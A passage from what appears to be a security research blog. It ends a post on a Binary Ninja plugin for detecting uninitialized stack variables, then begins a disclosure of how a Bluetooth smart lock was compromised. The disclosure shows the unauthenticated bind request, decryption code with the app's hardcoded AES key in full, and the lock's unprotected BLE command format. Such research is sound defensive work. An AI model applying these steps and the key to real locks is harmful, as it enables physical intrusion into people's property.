}</code></code></pre><p>That assigned field will later transition to 1 (read), 2 (written), or 3 (filtered false positive).</p><p>By the end of this discovery and filtering stage, allvars contains only the stack locals that <em>could</em> represent vulnerable uninitialized reads&#8212;each annotated with offset and size data. This concise set of candidates allows all subsequent analyses (read-before-write detection, size inference, taint propagation, and false-positive pruning) to focus exclusively on meaningful program data rather than compiler noise.</p><h2>2. Read-Before-Write Analysis</h2><p>Once we have a concise list of candidate locals in each function, the next step is to determine which of those are ever read before being written. A true uninitialized&#8208;use occurs when an instruction consumes a variable&#8217;s value without any prior assignment. To detect this, the plugin leverages Binary Ninja&#8217;s Medium-Level IL (MLIL), which maps raw memory operations into explicit variable reads and writes, greatly simplifying the analysis.</p><h4>MLIL and SSA Variables</h4><p>In MLIL, each stack access such as [rbp - 0x20] is represented as a Variable (e.g. var_20) and, in SSA form, each assignment produces a fresh version (var_20#1, var_20#2, etc.). A use of the <em>initial</em> version (before any MLIL_SET_VAR) is a clear marker of reading an uninitialized value. By iterating through every func.mlil_instructions, we can inspect two key properties of each MLIL instruction:</p><ul><li><p>instr.vars_read: the list of variables whose current version appears on the right-hand side (a read).</p></li><li><p>instr.vars_written: the list of variables that are assigned by this instruction (a write).</p></li></ul><h4>Assignment State Tracking</h4><p>We track three states in each local&#8217;s assigned field:</p><ul><li><p><strong>0</strong> &#8212; unvisited (no read or write seen yet)</p></li><li><p><strong>1</strong> &#8212; read-only (a read occurred before any write)</p></li><li><p><strong>2</strong> &#8212; written (at least one write has occurred)</p></li></ul><p>The core loop looks like this:</p><pre><code><code># Initialize all locals to &#8220;unvisited&#8221;
for func in allvars:
    for v in allvars[func].values():
        v["assigned"] = 0

# Scan MLIL instructions for reads and writes
for func in bv.functions:
    if func.name not in allvars:
        continue

    for instr in func.mlil_instructions:
        # Mark reads that occur before any write
        for vr in instr.vars_read:
            entry = allvars[func.name].get(vr.name)
            if entry and entry["assigned"] == 0:
                entry["assigned"] = 1

        # Mark any writes (these clear a previous &#8220;read-only&#8221; state)
        for vw in instr.vars_written:
            entry = allvars[func.name].get(vw.name)
            if entry:
                entry["assigned"] = 2</code></code></pre><ul><li><p>As soon as a variable is <strong>read</strong> with assigned == 0, it transitions to <strong>1</strong>, flagging a potential ULV.</p></li><li><p>If a <strong>write</strong> is seen at any point, we set assigned = 2, indicating the variable has been initialized.</p></li></ul><h4>Identifying ULV Candidates</h4><p>After this pass, any local with assigned == 1 represents a stack variable that was read before any write in that function. These are our <em>initial</em> ULV candidates. Variables with assigned == 0 were never used and are ignored, while those with assigned == 2 were always written before use.</p><p>By using MLIL&#8217;s explicit variable tracking rather than raw disassembly, this approach accurately captures read-before-write behavior&#8212;even in the presence of compiler optimizations such as reordering of memory operations or introduction of temporary variables. In the next section, we will see how unknown sizes are inferred for zero-width locals, enabling us to distinguish partial from full initialization.</p><h2>3. Inferring Sizes for Unknown-Width Variables</h2><p>In practice, Binary Ninja often labels stack slots with <strong>zero width</strong> when it cannot recover a concrete type or size&#8212;particularly for anonymous arrays or structs that lack debug metadata. Without knowing a variable&#8217;s true length, we cannot distinguish a <em>fully</em> uninitialized buffer from a <em>partially</em> initialized one. To address this, the plugin implements a neighbor-offset heuristic in the &#8220;predictSize&#8221; function, inferring a plausible size for any zero-width local by examining its surrounding stack layout.</p><h4>When Size Inference Kicks In</h4><p>During initial discovery (see Section 1), each local&#8217;s size is set to var.type.width. If that width is zero and the flags fix_zero_size_vuln_var is enabled while skip_zero_size_vars is disabled, the plugin calls predictSize to compute a nonzero length:</p><pre><code><code>elif skip_zero_size_vars == False and fix_zero_size_vuln_var and var.type.width == 0:
    var_size = predictSize(var, func.stack_layout)</code></code></pre><p>This ensures that every local we analyze has a meaningful &#8220;size&#8221; associated with its stack offset.</p><h4>Rationale and Effectiveness</h4><p>Most compilers allocate locals contiguously in the prologue, reserving one block of stack space for all variables. By measuring the distance to the next allocated slot, we obtain a conservative upper bound on the buffer&#8217;s length without needing symbolic execution or partial SSA reconstruction. This inferred size is critical when later determining whether a given function&#8217;s writes fully cover the buffer or leave trailing bytes uninitialized.</p><p>With every local now annotated with either its original width or an inferred size, the plugin can accurately distinguish:</p><ul><li><p><strong>Full Cover:</strong> All bytes in [offset, offset+size) are written before any read.</p></li><li><p><strong>Partial Cover:</strong> Only a prefix of the buffer is written, leaving some bytes uninitialized.</p></li></ul><p>This size inference lays the groundwork for precise interprocedural coverage analysis in the next stage.</p><h2>4. Reconstructing Interprocedural Coverage &amp; Taint Propagation</h2><p>A key insight in uncovering real ULVs is that uninitialized data often traverses multiple functions before it is ultimately consumed. To expose these propagation chains, the plugin correlates the point of uninitialized read in one function (&#8220;Affected&#8221;) with potential initializer calls in its callers (&#8220;Middle&#8221; and &#8220;Parent&#8221;). This interprocedural analysis proceeds in two phases: identifying cross-references between functions, and then determining which callee writes cover the target stack offset most closely before the uninitialized read.</p><h4>Gathering Call-Site References</h4><p>First, for each function func that contains a ULV candidate var, we locate:</p><ul><li><p>All callers of func via bv.get_callers(func.start).</p></li><li><p>All xrefs (cross-references) within each caller where func is invoked, using:</p></li></ul><pre><code><code>def getFunctionReferencedAddresses(func, parent_func):
&#9;total_refs = list()
&#9;func_xrefs = bv.get_callers(func.start)
&#9;for f_xref in func_xrefs:
&#9;&#9;if f_xref.function.name == parent_func.name:
&#9;&#9;&#9;total_refs.append({"xref":f_xref, "index":parent_func.get_llil_at(f_xref.address).instr_index})
&#9;return total_refs</code></code></pre><p>Each record contains both the xref object (with its address) and the MLIL instruction index, which we use to compare ordering within the parent function.</p><h4>Identifying Candidate Initializers</h4><p>Within each parent function, we also enumerate all its callees (other functions it calls) and gather their xrefs in the same way. For each potential &#8220;middle&#8221; function call, we now have the list of points in the parent where it is invoked.</p><h4>Proximity Heuristic for Coverage</h4><p>For each uninitialized&#8208;read reference (var_ref) in the parent, we look backwards at all candidate calls to see which one both:</p><ol><li><p>Occurs before var_ref in the instruction stream (i.e., xref.address &lt; var_ref.address and xref.index &lt; var_ref.index), and</p></li><li><p>Writes to the stack offset of interest, as determined by func_called(callee, var_offset, var_size).</p></li></ol><p>The plugin computes a simple distance metric&#8212;var_ref.address - callee_xref.address&#8212;and selects the callee with the smallest positive distance. This &#8220;closest writer&#8221; is most likely responsible for initializing (or partially initializing) the buffer before its uninitialized use:</p><pre><code><code>best_distance = None
best_cover    = VAR_NOCOVER
for parent_out in parent_out_refs:
    for call_record in parent_out["xrefs"]:
        if call_record["xref"].address &lt; var_ref["xref"].address:
            distance = var_ref["xref"].address - call_record["xref"].address
            cover_info = func_called(parent_out["parent_out"],
                                     offset, size)[0]["cover"]
            if cover_info != VAR_NOCOVER and (best_distance is None or distance &lt; best_distance):
                best_distance = distance
                best_cover    = cover_info
                best_callee   = parent_out["parent_out"]
                best_xref     = call_record["xref"].address</code></code></pre><p>Here, func_called inspects the callee&#8217;s own MLIL for writes at the given offset and returns VAR_FULL_COVER, VAR_PARTIAL_COVER, or VAR_NOCOVER.</p><h4>Building the Call Chain</h4><p>Once the best covering function is identified, we record a propagation record linking:</p><ul><li><p><strong>Parent Function</strong> and the exact call-site of the uninitialized read.</p></li><li><p><strong>Middle Function</strong> (the chosen callee) and its call-site.</p></li><li><p><strong>Affected Function</strong> (original func) and the address of the problematic read.</p></li></ul><p>By repeating this for every ULV candidate, the plugin constructs full <strong>Parent&#8594;Middle&#8594;Affected</strong> chains, capturing where the buffer originates, how it is partially initialized, and where the uninitialized portion is ultimately used.</p><h4>Why This Approach Works</h4><ul><li><p><strong>IL Abstraction:</strong> By operating on IL engine&#8217;s explicit variables and instruction indices, we bypass many assembly-level quirks and focus on logical data flows.</p></li><li><p><strong>Proximity Metric:</strong> In most real binaries, the function that initializes a stack slot will be called most closely before its use; selecting by minimal distance leverages this common pattern without full CFG reconstruction.</p></li><li><p><strong>Per-Offset Coverage:</strong> Checking writes to the exact byte-range of interest (using normalized offsets and inferred sizes) ensures that we distinguish <em>full</em> from <em>partial</em> initialization.</p></li></ul><p>This interprocedural coverage analysis transforms isolated read-before-write flags into meaningful vulnerability traces, revealing not only <em>that</em> a ULV exists, but <em>how</em> it traverses the call stack to become a real-world issue.</p><h2>5. Pruning False Positives</h2><p><strong>Sibling-Variable Deduplication</strong><br>In many binaries, the decompiler will introduce multiple local-variable symbols that actually refer to the same stack location&#8212;often as artifacts of different analysis passes or name collisions. To prevent reporting the same uninitialized region more than once, the plugin groups such &#8220;sibling&#8221; symbols by their stack-frame offset. During the coverage analysis, any two variables found at the exact same offset are identified, one is marked as the canonical representative, and the other is dropped from further consideration. This ensures that a single physical buffer on the stack generates at most one warning, rather than duplicate entries under different names.</p><p><strong>Static Duplicate-Offset Filtering</strong><br>Beyond simple sibling grouping, the analysis also looks for cases where one of two variables at the same offset is never read at all. If only one symbol is ever accessed and its duplicate is never used, the plugin interprets the accessed symbol as a likely disassembler artifact and discards it outright. By detecting these static duplicate&#8211;offset pairs early&#8212;before any interprocedural work&#8212;false positives stemming from redundant naming are eliminated with minimal overhead.</p><p><strong>Read/Write Assignment Tracking</strong><br>At the heart of uninitialized-variable detection is the ability to distinguish between reads and writes. The plugin first assumes every local is &#8220;unvisited,&#8221; then scans each  instruction: when a variable is written (assigned), it is marked as initialized; when it is read without any prior write, it is flagged as a potential issue. Only those locals that transition from unvisited straight to read-only are surfaced as uninitialized-use candidates. This precise, per-instruction bookkeeping guarantees that correctly initialized variables (even if initialized late in the function) are never misreported.</p><p><strong>Void-Type and Zero-Size Variable Filtering</strong><br>Compiler-generated placeholders and padding areas often appear in the decompiler output as stack slots of void type or zero length. Since these cannot represent meaningful storage, the plugin offers configurable filters to skip them entirely. In the initial gathering of locals, any slot whose type is classified as &#8220;void&#8221; or whose width is zero is omitted when the corresponding skip flags are enabled. This preemptive pruning removes noise by excluding regions that could never hold legitimate data.</p><p><strong>Imported-Function Coverage Skips</strong></p><p>Calls to external libraries or dynamically linked functions have unknown behavior when it comes to local stack variables. To avoid wrongly assuming that these functions initialize or interact with locals, the plugin checks if the called function is located in the PLT (Procedure Linkage Table) or in an external range defined by the user. If a function is identified this way, it&#8217;s treated as having &#8220;no coverage&#8221; for the target variable&#8212;meaning it&#8217;s not credited with initializing it. This prevents the analysis from incorrectly suppressing uninitialized local variable (ULV) warnings when the real behavior of the external function isn&#8217;t known.</p><p>However, this area is still uncertain. In some cases, external functions do play a critical role in initialization, and treating them as &#8220;no coverage&#8221; can lead to extra false positives. Because of that, we leave this as a configurable option&#8212;a flag the researcher can turn on or off. Whether to include these functions in the analysis depends on the specific binary and how much false-positive noise you're willing to tolerate based on how these external calls behave.</p><p><strong>Dynamic-Function-Address Heuristic</strong></p><p>When a function call goes through a register or function pointer, its target can&#8217;t be figured out just by looking at the static code. So, the analysis can&#8217;t tell if the function being called actually writes to the variable or not. </p><p>To avoid making unsafe assumptions, there&#8217;s a setting you can turn on that tells the plugin to play it safe: if the call target is unknown, just assume it might initialize the variable. In that case, the possible uninitialized variable is removed from the report.</p><p>This heuristic helps cut down on false positives caused by indirect calls, where the real behavior of the function isn&#8217;t visible in static analysis.</p><p><strong>Finally, a Unified False-Positive Marking</strong><br>All filtered cases&#8212;whether from duplicate-offset removal, sibling deduplication, imported-function skips, or pointer-initiated initialization&#8212;are consolidated by marking the variable&#8217;s internal state as &#8220;false positive.&#8221; During the final report generation, any variable with this marker is uniformly excluded. By centralizing all pruning logic into a single assigned state, downstream parsing and triage remain straightforward, ensuring that only genuine read-before-write issues reach the analyst.</p><h2>6. Enriching Results with IDA Pro Integration and PIN-Based Execution-Trace Filtering</h2><p>To transform raw ULV candidates into actionable findings, the plugin incorporates two complementary enrichment steps: importing accurate function names from an IDA Pro export, and filtering static results against a dynamic call trace captured with Intel PIN.</p><h4>IDA Pro Symbol Import</h4><p>Stripped binaries lack meaningful symbols, making it difficult to triage ULV reports. To remedy this, the plugin can ingest a JSON mapping of function names to addresses generated by a IDA Pro script. This mapping is produced by an IDA Python script such as:</p><pre><code><code># In IDA Pro:
import idautils, idc, idaapi, json

ida_map = {}
for addr in idautils.Functions():
    name = idc.get_func_name(addr)
    ida_map[name] = hex(addr)

with open("ida_funcs.json", "w") as f:
    json.dump(ida_map, f)</code></code></pre><p>Within the Binary Ninja plugin, these symbols are defined before analysis begins:</p><pre><code><code>def loadIdaFuncNames(fname):
    ida_functions = json.loads(open(fname, "r").read())
    for funcname, addr_hex in ida_functions.items():
        addr = int(addr_hex, 16)
        sym = Symbol("FunctionSymbol", addr, funcname)
        bv.define_user_symbol(sym)</code></code></pre><p>By calling loadIdaFuncNames("ida_funcs.json"), Binary Ninja&#8217;s symbol table is populated with human-readable names. Subsequent ULV reports (in JSON or text) reference these names and addresses directly, greatly simplifying vulnerability triage and patching.</p><h4>Intel PIN&#8211;Based Execution-Trace Filtering</h4><p>Static analysis can over-report in dead or rarely exercised code paths. To focus on vulnerabilities that matter under real workloads, we use a minimal PIN tool that logs every executed function call, then cross-references this trace with the ULV findings.</p><p><strong>PIN Instrumentation (C++):</strong></p><pre><code><code>... SNIP ...

// Called before every call instruction
VOID OnCall(ADDRINT ip, ADDRINT target) {
    out &lt;&lt; std::hex &lt;&lt; ip &lt;&lt; " " &lt;&lt; target &lt;&lt; "\n";
}

VOID Trace(TRACE trace, VOID *) {
    for (BBL bbl = TRACE_BblHead(trace);
         BBL_Valid(bbl); bbl = BBL_Next(bbl)) {
        for (INS ins = BBL_InsHead(bbl);
             INS_Valid(ins); ins = INS_Next(ins)) {
            if (INS_IsCall(ins)) {
                INS_InsertPredicatedCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)OnCall,
                    IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_END);
            }
        }
    }
}

... SNIP ...</code></code></pre><p><strong>What it does:</strong> Each executed call logs the instruction pointer and the call target to pinout.txt.</p><p><strong>Result:</strong> A trace of which functions (by address) were actually invoked during a program run. The cool thing here is that the address where the function were exactly called, is noted and saved. That&#8217;s a sweet xref out of runtime execution for each and for every function call (functions treated as code segment and jumped on it - odd compiler stuff - are ignored).</p><p><strong>Parsing and Filtering in Python:</strong></p><p>In the ULV parsing script, we load the PIN trace and build a set of covered functions:</p><pre><code><code>def filterWithTrace(fname):
    trace = {}
    lines = open(fname).read().splitlines()
    # First line is the image base; skip or record if needed
    for line in lines[1:]:
        src_hex, dst_hex = line.split()
        # Normalize addresses relative to image base here if necessary
        trace.setdefault(dst_hex, []).append(src_hex)
    return trace

# Later, when printing each ULV record:
if analyze_trace_file:
    trace = filterWithTrace("pinout.txt")
    # Skip any ULV whose functions were not covered
    if (hex(vuln_addr) not in trace or
        hex(middle_addr) not in trace or
        hex(affected_addr) not in trace):
        continue
    ... display results ...</code></code></pre><p><strong>Configuration:</strong> Set analyze_trace_file = True and point to your pinout.txt.</p><p><strong>Effect:</strong> Any ULV whose <strong>Parent</strong>, <strong>Middle</strong>, or <strong>Affected</strong> function did not appear in the execution trace is omitted from the run-specific report.</p><p>By enriching static ULV data with IDA Pro symbols and PIN-driven coverage, the plugin delivers a final output that is both human-readable and focused on real execution paths&#8212;a powerful combination for efficient vulnerability review and triage.</p><h2>Parsing and displaying the data</h2><p><strong>Structured JSON Ingestion</strong><br>After our Binary Ninja plugin completes its analysis, it emits a comprehensive JSON file (ulv_analysis_*.json) that captures, for every function and variable, a list of propagation records (parent, middle, affected functions, offsets, sizes, and coverage status). The parser reads this JSON directly, trusting that each record encodes the full context of an uninitialized-variable finding. By decoupling data generation from reporting, we can evolve the analysis engine independently of how results are presented.</p><p><strong>Colorized, Intuitive Console Output</strong><br>To aid rapid triage, we leverage the termcolor library to highlight key elements in the console: vulnerable pointers (in red), intermediary function names (in yellow), and input functions that introduce the uninitialized data (in green). When PIN-based trace filtering is active, functions confirmed as executed appear in blue. This visual language lets me&#8212;and anyone reviewing our findings&#8212;scan dozens of records in seconds and immediately spot the most important flows.</p><p><strong>Trace-Driven Filtering</strong><br>Static analysis often yields warnings in code paths that never actually run. To focus on real, exploitable issues, the parser can ingest the pinout.txt generated by our Intel PIN tool. It builds a set of all executed callee addresses and then discards any ULV record whose parent, middle, or affected function didn&#8217;t appear in the trace. This simple yet effective step transforms a long static report into a focused list of vulnerabilities observed under actual workloads.</p><p><strong>Flexible Whitelists and Blacklists</strong><br>Every codebase has its own quirks and known false positives. I&#8217;ve added support for user-defined lists&#8212;blacklist_vuln_funcs, false_negatives_vuln, false_negatives_input, and an optional whitelisted_only set&#8212;that let us suppress or focus on specific functions. This makes the parser adaptable: whether conducting an initial broad sweep or zeroing in on a mission-critical module, I can tailor the report to exactly what I need to investigate.</p><p><strong>High-Level Relationship Overview</strong><br>Finally, after printing each detailed record, the parser compiles a streamlined &#8220;VULNERABLE &#8592; AFFECTS&#8221; table. For every vulnerable function, it lists the input functions responsible for tainting its variables. This bird&#8217;s-eye overview reveals which routines serve as common entry points for uninitialized data, guiding subsequent fuzzing or manual review. In practice, this summary often highlights unexpected hotspots that merit deeper investigation.</p><p>Together, these features make the parser not just a reporting tool, but an interactive companion in the vulnerability-discovery process&#8212;one that adapts to our evolving needs, surfaces the most relevant findings, and accelerates the path from analysis to remediation.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Mnu9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Mnu9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 424w, https://substackcdn.com/image/fetch/$s_!Mnu9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 848w, https://substackcdn.com/image/fetch/$s_!Mnu9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 1272w, https://substackcdn.com/image/fetch/$s_!Mnu9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Mnu9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png" width="750" height="249" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:249,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:44836,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/161637757?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Mnu9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 424w, https://substackcdn.com/image/fetch/$s_!Mnu9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 848w, https://substackcdn.com/image/fetch/$s_!Mnu9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 1272w, https://substackcdn.com/image/fetch/$s_!Mnu9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce0bc84c-3436-40a8-8663-d18c6ee920cf_750x249.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Parser&#8217;s Output showing 1 affected and potentially vulnerable function</figcaption></figure></div><h2>In a nutshell</h2><p>Finding uninitialized stack variables in a stripped binary can feel like hunting ghosts in the machine. With this Binary Ninja plugin, however, the process becomes clear and manageable. We start by rebuilding each function&#8217;s local variables from the stack frame, then use MLIL to spot any reads that happen before a write. When the size of a buffer is unknown, a simple neighbor-offset trick fills in the gaps. Next, we follow the data across functions to see exactly where it was partially initialized and then finally used without initialization. False alarms are swept away by combining sibling-variable checks, pointer-taint tracking, and sensible skips for external or indirect calls.</p><p>To make the results truly actionable, we round out the approach with two powerful additions: importing accurate function names from an IDA Pro export, and filtering against a real execution trace captured by PIN. This means every warning in your report isn&#8217;t just a line in a file&#8212;it&#8217;s a named function that you know actually ran, with a clear story of how uninitialized data flowed through your code.</p><p>In practice, this workflow turns a daunting manual effort into an automated, repeatable audit. Whether you&#8217;re examining legacy software with no source or vetting a new build for hidden leaks, this plugin shines a spotlight on the most critical uninitialized-variable issues first.</p><h2>More of this?</h2><p>We also welcome collaboration with universities, research institutes, and industry partners on shared projects. If you&#8217;d like to discuss joint research or integration efforts, please feel free to connect with the author on LinkedIn (Theodoros Danos) or send an email to Cybervelia. We look forward to exploring new opportunities together!</p><p>The analyzer&#8217;s code is strictly available only to selected research institutes.</p><h2>Possible enhancements</h2><p>We would like to blend-in some SMT-solvers in order to glue the sinks with the affected variables. That would be really cool but symbex requires a bit more effort and that alone is just one of the ideas.</p><p>Our current interprocedural analysis examines only a single level of the call stack when correlating functions. Extending this to multiple layers would greatly enhance our ability to trace complex call chains. For example, consider a scenario where Function A calls B, B calls C, and C calls D&#8212;and it is D&#8217;s behavior that is ultimately influenced by an uninitialized variable in A. With multi-layer depth, we could uncover that relationship; as it stands, we only analyze direct parent-child interactions.</p><p>Another enhancement is to grab and enhance the function names such as including System map and other files which will help the function-name decoding - even though this has nothing to do with ULV, it simplifies the whole process.</p><p>Finally, it would be super-interesting if we would involve LLMs to validate/invalidate affected functions found by the tool!</p>]]></content:encoded></item><item><title><![CDATA[Technical Analysis - A Compromise of a Bluetooth Smart Lock]]></title><description><![CDATA[This article details the successful compromise of a commercially available Bluetooth-enabled smart lock supporting fingerprint and wireless unlocking.]]></description><link>https://blog.cybervelia.com/p/a-technical-analysis-of-a-bluetooth</link><guid isPermaLink="false">https://blog.cybervelia.com/p/a-technical-analysis-of-a-bluetooth</guid><dc:creator><![CDATA[Theodoros Danos]]></dc:creator><pubDate>Wed, 14 May 2025 20:45:23 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/d0190f5c-0b4c-4fe2-a841-48321623e531_1280x851.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This article details the successful compromise of a commercially available Bluetooth-enabled smart lock supporting fingerprint and wireless unlocking. The analysis involves reverse engineering of the mobile application, manipulation of backend API calls, and interception of the lock&#8217;s Bluetooth Low Energy (BLE) communication protocol.</p><p>The investigation was conducted using dynamic instrumentation and a BLE man-in-the-middle toolkit. By combining multiple weaknesses in the system's architecture, we were able to register and control a lock without possessing or being near the physical device. This led to full compromise of its unlock functionality.</p><h2>Overview</h2><p>This research focused on two key components:</p><ul><li><p>The communication between the Android mobile application and the remote API server.</p></li><li><p>The BLE communication between the mobile application and the lock itself.</p></li></ul><p>Access was achieved by chaining together an insecure device binding API, static key cryptography, and a custom, unprotected BLE protocol. The BLE channel, although encrypted, lacked any meaningful integrity or replay protection.</p><p>All BLE traffic was intercepted and analyzed using <strong>BLE:Bit</strong>, a powerful BLE research platform and toolset that allowed live traffic monitoring and active command injection. The tool was essential in intercepting and replaying commands during this research. We originally developed this tool in-house to support our own security assessments, including research like this. It was later released as an open-source project to benefit the broader security community.</p><h2>Registering a Lock Without Ownership</h2><p>The Android app binds locks to user accounts via a simple HTTP POST request. This should only be permitted when the physical lock is nearby and discoverable via BLE. However, we discovered that the server permitted binding based solely on knowledge of the lock&#8217;s MAC address.</p><p>Example request (values redacted):</p><pre><code>POST /lock/bind
Headers:
  token: &lt;redacted&gt;
  uid: &lt;redacted&gt;
Body:
{
  "name": "lock1",
  "userId": &lt;redacted&gt;,
  "mac": "&lt;redacted&gt;"
}</code></pre><p>This endpoint responded successfully even when sent from a device not in proximity to the lock and not previously associated with it. No cryptographic challenge, proximity validation, or ownership proof was required.</p><h2>Extracting Lock Credentials via API</h2><p>Once a lock is registered to a user account, the mobile application retrieves lock details from the API using another POST request:</p><pre><code>POST /lock/getLockList
Body:
{
  "userId": &lt;redacted&gt;
}</code></pre><p>The server&#8217;s response includes a field named <code>encryptedData</code>, which contains encrypted lock credentials. These credentials include the lock key (used for BLE encryption), the BLE password, and the MAC address.</p><p>Sample response:</p><pre><code>{
  "name": "lock1",
  "mac": "&lt;redacted&gt;",
  "encryptedData": "RUQ2RDJCODZFQ...=="
}</code></pre><h2>Decryption of <code>encryptedData</code> Using a Static Key</h2><p>Upon decompiling the application, we found the following decryption logic:</p><pre><code>public void setData() {
    String[] split = new String(
        b.b(
            c.a(new String(Base64.decodeBase64(this.encryptedData.getBytes()))),
            c.a("58966742920123314112157843194045")
        )
    ).split("&amp;");

    this.lockKey = split[0];
    this.lockPwd = split[1];
    this.mac = split[2].trim();
}</code></pre><p>The AES key 58966742920123314112157843194045 was hardcoded and used to decrypt lock credentials. The app used AES in ECB mode with no padding (AES/ECB/NoPadding). This design is insecure and means every lock&#8217;s secret data can be decrypted offline by anyone with access to the app binary.</p><p>A decrypted payload produced:</p><pre><code>lockKey: &lt;redacted&gt; lockPwd: &lt;redacted&gt; mac: &lt;redacted&gt;</code></pre><p>These values were sufficient to craft valid BLE messages for unlocking the device.</p><h2>BLE Protocol Structure</h2><p>The communication between the mobile application and the smart lock relies on Bluetooth Low Energy (BLE) and operates through two specific GATT characteristics:</p><ul><li><p>0x36f5 &#8211; Used by the mobile application to write encrypted commands to the lock.</p></li><li><p>0x36f6 &#8211; Used by the smart lock to send encrypted notifications back to the application.</p></li></ul><p>All messages are encrypted using AES in ECB mode with no padding. The encryption key (lockKey) is extracted from the decrypted encryptedData value, which is unique per lock but can be retrieved due to the use of a globally hardcoded AES key.</p><p>Each command is a 16-byte message composed of:</p><ul><li><p><strong>Opcode (2 bytes)</strong>: Defines the action (e.g., unlock, query battery).</p></li><li><p><strong>Parameters (variable length)</strong>: Payload depending on command type.</p></li><li><p><strong>Random padding (up to 16 bytes total)</strong>: Fills out the block to a full 16 bytes.</p></li><li><p>The result is then encrypted with the lockKey before transmission.</p></li></ul><p>Responses from the lock follow the same structure but may contain status bytes, data, or acknowledgments.</p><p>The mobile app and lock communicate using this symmetric encryption channel without any form of MAC (Message Authentication Code), nonce, or rolling sequence number. This makes the protocol vulnerable to replay and injection attacks, as observed in the field.</p><p>Each message is treated as an independent, atomic block. There is no session context, authentication handshake, or stateful pairing after initial connection. This is atypical for secure BLE implementations, where session keys, pairing methods (e.g., Just Works, Passkey), and authenticated characteristics are used to prevent tampering.</p><p>From a forensic or offensive perspective, this structure makes the protocol straightforward to reverse and emulate, especially when the message format is consistent and the encryption key is discoverable.</p><h2>Sniffed Traffic</h2><p>Using BLE:Bit&#8217;s MiTM capabilities, we captured real-time BLE traffic between the mobile application and the lock.</p><p>Below is an excerpt of observed traffic:</p><pre><code>WRITE Android 